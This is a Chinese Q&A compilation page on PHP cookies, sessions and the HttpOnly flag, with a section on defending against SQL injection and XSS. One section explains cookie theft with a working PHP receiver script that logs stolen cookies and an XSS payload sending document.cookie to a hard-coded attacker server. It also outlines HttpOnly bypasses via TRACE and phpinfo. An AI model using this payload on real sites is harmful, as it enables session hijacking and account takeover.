导航:首页 > 编程语言 > phpcookiehttponly

phpcookiehttponly

发布时间:2022-05-16 00:26:53

‘壹’ 怎么爬取httponly

手动在浏览器中获取cookie并且设置到我的爬虫里面 是可以进行登陆后的操作的。

在Web安全领域,跨站脚本攻击时最为常见的一种攻击形式,也是长久以来的一个老大难问题,而本文将向读者介绍的是一种用以缓解这种压力的技术,即HTTPonly cookie。

什么是HttpOnly

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效地防止XSS攻击,目前sun公司还没有公布相关的API,但phpC均有实现。搞javaEE的兄弟们比较郁闷了,别急下文有变通实现。

‘贰’ HTML静态页如何处理HTTPONLY问题

使用PHP来设置HttpOnly
PHP支持从5.2.0版开始设置HttpOnly标志(2006年11月)。
对于由PHP管理的会话cookie,该标志可以通过参数在HttpOnly中的php.ini PHP手册中永久设置:
session.cookie_httponly =true;

或通过函数[6]在脚本中和期间:
void session_set_cookie_params(int $ lifetime [,string $ path [,string $ domain
[,bool $ secure = false [,bool $ httponly = false]]]])

对于应用程序cookie setcookie()中的最后一个参数,设置HttpOnly标志[7]:
bool setcookie(string $ name [,string $ value [,int $ expire = 0 [,string $ path
[,string $ domain [,bool $ secure = false [,bool $ httponly = false]]]]]])

‘叁’ PHP中COOKIE或SESSION值在不同页面取值不了

在一个页面设置一个cookie时,必须刷新或到下一个页面才可以用 $_COOKIE 得到变量的值.原因是因为当页面第一次被浏览器访问载入时,页面中的 cookie 会被设置,将其发送存储到客户端指定的存储位置,所以$_COOKIE没有接收到客户端发送过来的 cookie 变量的值,当刷新或到下一个页面时,客户端会在页面程序在服务器端运行之前,发送与该地址相对应的 cookie到服务器端,所以 $_COOKIE 可以得到的值!
说白了就是当每一个页面被访问时,如果客户端找到了与访问地址相对应的 cookie 时,会在程序在服务器端运行之前发送这个 cookie 到服务器端. (个人对此的看法)本人表达能力不强,如有不明,还请抱歉!php中设置cookie数组的时候,不可以用像php中的那个添加数据的方法:
<?php
setcookie('my_cookie[]', 1);
setcookie('my_cookie[]', 2);
print_r($_COOKIE); // Array ( [my_cookie] => Array ( [0] => 1 ))
// 数组的值添加是添加成功了,不过索引没有变,后面的数据将前的数据覆盖了!由此得到
my_cookie[],默认指向数据的第一元素的位置,即索引为0 的位置. 注意与php中的不一样! 以后用cookie数据记住要指定数组元素索引哦!

$my_cookie[] = 1;
$my_cookie[] = 2;
print_r($my_cookie); //Array ( [0] => 1 [1] => 2)
?>删除 cookie 变量的两个方法:
1.php
<?php
setcookie('user_name_1', 'zhaofei299', time()+3600); // 生存期为 1 个小时
setcookie('user_name_2', 'ZHAOFEI299', time()+3600); // 生存期为 1 个小时
?>2.php
<?php
setcookie('user_name_1'); // 第一种
setcookie('user_name_2', "", time()-1); // 第二种
print_r($_COOKIE); // 刷新页面2下以上会输出 Array ( [user_name_1] => )/*为什么超级全局变量 $_COOKIE 中的 user_name_1 没有被删除(变量为空并不代表不存在),而user_name_2被删除了? 那是因为两个删除变量的方式不同!

第一种: 是设置了 cookie 的生存期, 只不过是将它的值默认设置为空,生存期为与浏览器一样,浏览器关闭时,cookie才会删除!所以当重新打开一个浏览器,输出地址时,才会发现 cookie 变量全部被删除了!将2.php 中两个 setcookie() 函数部分注释掉看看(重新输出了地址)!第二种: 也是设置了 cookie 的生存期,是使 cookie 的生存期一定过期, cookie 也就被删除,所以刷新页面,客户端向服务器端发送 cookie 时, $_COOKIE 并没有能够得到该cookie变量的值!
*/
?>会话id默认储放在客户端Cookie中!
<?php
session_start();
print_r($_COOKIE);
?>
cookie的设置有两种方法header('set-cookie:user=zhaofei299');
setcookie('user', 'zhaofei299');会话变量不能被GET数据或POST数据重载!使用session变量传递数组,对象时无需序列化!
使用session变量传递对象时,在调用session_start()之前,必须包含该对类对象的定义,反序列化(serialize)也是如此!
删除单个会话变量可以使用unset($_SESSION['***']) 直接删除!删除所有的会话变量不可以用unset($_SESSION),因为这样会将所有的会话信息删除,包含存储在COOKIE中的PHPSESSID,也就是破坏了两个页面之间的会话联系,应该使用$_SESSION = array();消除会话id,使页面之间失去联系!
session_destroy();
程序清单1.1
<?php
session_start();
header('content-type:text/html;charset=utf-8');
$_SESSION['a'] = 'a';
$_SESSION['b'] = 'b';unset($_SESSION); //测试后,再注释下看看
$_SESSION['user'] = 'zhaofei299';
echo 'SESSION_ID: '.session_id().'
';
echo '<a href="3.php" target="_blank">测试下</a>';
?>
<?php
session_start();echo $_SESSION['user'];
echo session_id(); //会话变量改变了
?>会话id(session_id)的两种方式传递:
1.cookie
2.url因为默认session是基于cookie的,而cookie又是跟随http协议发送的,所以与cookie一样,在session_start()之前不能有任何输出!现在主要说一说第二种,通过 url 传递会话id
php中已经定义SID这个常量来得到 会话的id
sesssin_id 的使用!
<?php
session_start();
echo defined('SID')?'true':'false'; // true
echo SID; //什么也没有?
?>
为什么SID的值会是null 呢?是它哪里有问题了?
原因是因为 session 默认是基于 cookie 的,而 SID 只有 session_id 通过 url
传递数据时才会被赋值!
在浏览器中将 cookie 禁用,你就会发现 SID 有了输出,而不是 null!
删除session要三步实现.
<?php
session_destroy(); // 第一步: 删除服务器端session文件,这使用
setcookie(session_name(),'',time()-3600); // 第二步: 删除实际的session:
$_SESSION = array(); // 第三步: 删除$_SESSION全局变量数组
?>大家都知道session变量是保存在服务器端的,也就是说session的变量会保存在服务器中一个目录中,我们可以在php.ini中的session.save_path 那里可以找到session文件中保存的地址.默认的session的生存期是浏览的关闭就结束,但要知道会话过期结束后,当打开页面session_start()会判断会话id 是否存在,如果不存在就创建一个,否则将该会话id 的变量载入页面!因为过期session_id会被创建一个新的,但它保存在服务器端的session文件并没有被删除(关闭浏览器,打开session文件保存地看看),所以要用session_destory()函数清除会话id,并同时清除相应的会话文件,这样的话才能做到最彻底的清除!
session_id 使用 url 传递session 变量数据时,因为session_start()开启会话时会判断会话id 是否存在,如果不存在就创建一个,否则将该会话id 的变量载入页面!
而现在是使用url 来传递session_id,然而每一次 刷新/进入页面 都会生成一个会话id,所以页面之间就不能得到在另一页面设置过的session_id 的变量,那么使用 session也就没什么意义了!解决方法:在session_start()之前,手动设置页面的session_id,这样页面的就可以得到前一页中所设置的session变量的,也就实现了会话的传递,如下代码可以说明!
//已禁用 cookie1.php
<?php
session_start();
$_SESSION['user'] = 'zhaofei299';
echo '<a href="2.php?'.SID.'">下一页</a>';
?>1.php的第4行代码也可以写成:echo '<a href="2.php">下一页</a>';可以设置php.ini 中的 session.use_trans_sid 为1,这样当使用 url 传递会话 id 时,
浏览器会自动将 session_id 追加到 url 的后面!
就好像 在浏览器中 输入: www.cn-juking.com 一样,浏览器会自动将其更换成 http://www.cn-juking.com/2.php
<?php
session_id($_GET['PHPSESSID']); // 手动设置session_id,这种就可以使用前一个页面的session_id 的变量了,也就实现了会话!
session_start();
print_r($_SESSION);
?>常用session函数:bool session_start(void); 初始化session
bool session_destroy(void): 删除服务器端session关联文件。
string session_id() 当前session的id
string session_name() 当前存取的session名称,也就是客户端保存session ID的cookie名称.默认PHPSESSID。
array session_get_cookie_params() 与这个session相关联的session的细节.
string session_cache_limiter() 控制使用session的页面的客户端缓存
ini session_cache_expire() 控制客户端缓存时间
bool session_destroy() 删除服务器端保存session信息的文件
void session_set_cookie_params ( int lifetime [, string path [, string domain [, boolsecure [, bool httponly]]]] )设置与这个session相关联的session的细节
bool session_set_save_handler ( callback open, callback close, callback read, callbackwrite, callback destroy, callback gc )定义处理session的函数,(不是使用默认的方式)
bool session_regenerate_id([bool delete_old_session]) 分配新的session id

‘肆’ 如何实现php的安全最大化怎样避免sql注入漏洞和xss跨站脚本攻击漏洞

使用php安全模式

服务器要做好管理,账号权限是否合理。

假定所有用户的输入都是“恶意”的,防止XSS攻击,譬如:对用户的输入输出做好必要的过滤

防止CSRF,表单设置隐藏域,post一个随机字符串到后台,可以有效防止跨站请求伪造。

文件上传,检查是否做好效验,要注意上传文件存储目录权限。

防御SQL注入。

避免SQL注入漏洞

1.使用预编译语句

2.使用安全的存储过程

3.检查输入数据的数据类型

4.从数据库自身的角度考虑,应该使用最小权限原则,不可使用root或dbowner的身份连接数据库。若多个应用使用同一个数据库,也应该为数据库分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数,操作本地文件的权限。

避免XSS跨站脚本攻击

1.假定所有用户输入都是“邪恶”的

2.考虑周全的正则表达式

3.为cookie设置HttpOnly,防止cookie劫持

4.外部js不一定可靠

5.出去不必要的HTML注释

6. 针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数。

‘伍’ 如何HttpOnly的cookie与AJAX请求工作

随着B/S的普及,我们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化的环境进行解析,除了应用本身可能已经存储在全局对象中的所有信息外,该环境不保存与会话有关的任何信息,http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息,就需要用到cookie和session,无论是什么,都是为了让服务器端获得一个token来检查合法性,很多时候都是在cookie中存储一个sessionID,服务器来识别该用户,那么安全隐患也就引申而出了,只要获得这个cookie,就可以取得别人的身份,特别是管理员等高级权限帐号时,危害就大了,而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。
那么如何获得Cookie劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。
接收cookie的PHP文件ck.php为:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
把这个文件放在自己的服务器上,比如我们搭建的服务器为:http://10.65.21.78:8080 .
那么构造XSS语句:
<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>
当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。
说了这么多,貌似还没有提到HttpOnly,这是哪般?莫及!这就到了!如何保障我们的Cookie安全呢?Cookie都是通过document对象获取的,我们如果能让cookie在浏览器中不可见就可以了,那HttpOnly就是在设置cookie时接受这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候),应用程序也一般不会在JS里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
给浏览器设置Cookie的头如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问,则为 true;否则为 false。默认值为 false。
但是,也可以看到HttpOnly并不是万能的,首先它并不能解决XSS的问题,仍然不能抵制一些有耐心的黑客的攻击,甚至一些基于XSS的proxy也出现了,但是已经可以提高攻击的门槛了,起码XSS攻击不是每个脚本小子都能完成的了,而且其他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击,这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显着例子就是phpinfo,大家知道phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于基本验证保护的页面一样可以攻击。
HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。
那问题就来了,大家想想,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器通过协议实现限制的,黑客可不会那么傻,肯定不会用HTTP协议来读取cookie,肯定是在socket层面写抓包程序,相当于写一个低于IE6版本的应用程序。
所以,HttpOnly并不是万能的。

‘陆’ php curl获取的cookie带httponly怎么办

新浪sae平台的所有目录都是只读的,不可写.如果想写入数据,可以用storage.
或者使用SAE的临时目录.

‘柒’ php header("Set-Cookie httpOnly为什么 不能两次

这相当于一个hashmap,对同一个key,多次操作,就是后者覆盖前者。你要做多次,最好对Set-Cooke:做拼接,一次写入。

‘捌’ php怎么写cookies

setcookie() 函数向客户端发送一个 HTTP cookie。
cookie 是由服务器发送到浏览器的变量。cookie 通常是服务器嵌入到用户计算机中的小文本文件。每当计算机通过浏览器请求一个页面,就会发送这个 cookie。
cookie 的名称指定为相同名称的变量。例如,如果被发送的 cookie 名为 "name",会自动创建名为 $user 的变量,包含 cookie 的值。
必须在任何其他输出发送前对 cookie 进行赋值。
如果成功,则该函数返回 true,否则返回 false。
设置并发送 cookie:
<?php
$value = "my cookie value";
// 发送一个简单的 cookie
setcookie("TestCookie",$value);
?>
<html>
<body>

阅读全文

与phpcookiehttponly相关的资料

热点内容
ACG官网下载的游戏怎么解压 浏览:961
stata交叉项命令 浏览:470
程序员老公烫头 浏览:692
服务器文件地址格式 浏览:129
securecrtandroid 浏览:176
短字符串压缩 浏览:863
u盘插入后显示加密格式化 浏览:944
我的世界怎么用命令方块获得超级武器 浏览:382
狗语翻译器app链接怎么下 浏览:905
选择排序算法的流程图 浏览:881
如何对文件夹开启共享 浏览:527
常用的磁盘调度算法 浏览:662
怎么用返利app返利 浏览:127
java代码快速 浏览:243
单片机左移右移后是补1还是0 浏览:599
湛江一号命令 浏览:333
导出命令行 浏览:274
C和php交互 浏览:600
苹果手机里的通讯录如何导入安卓手机 浏览:170
怎么在京东app里面看自己会员等级 浏览:43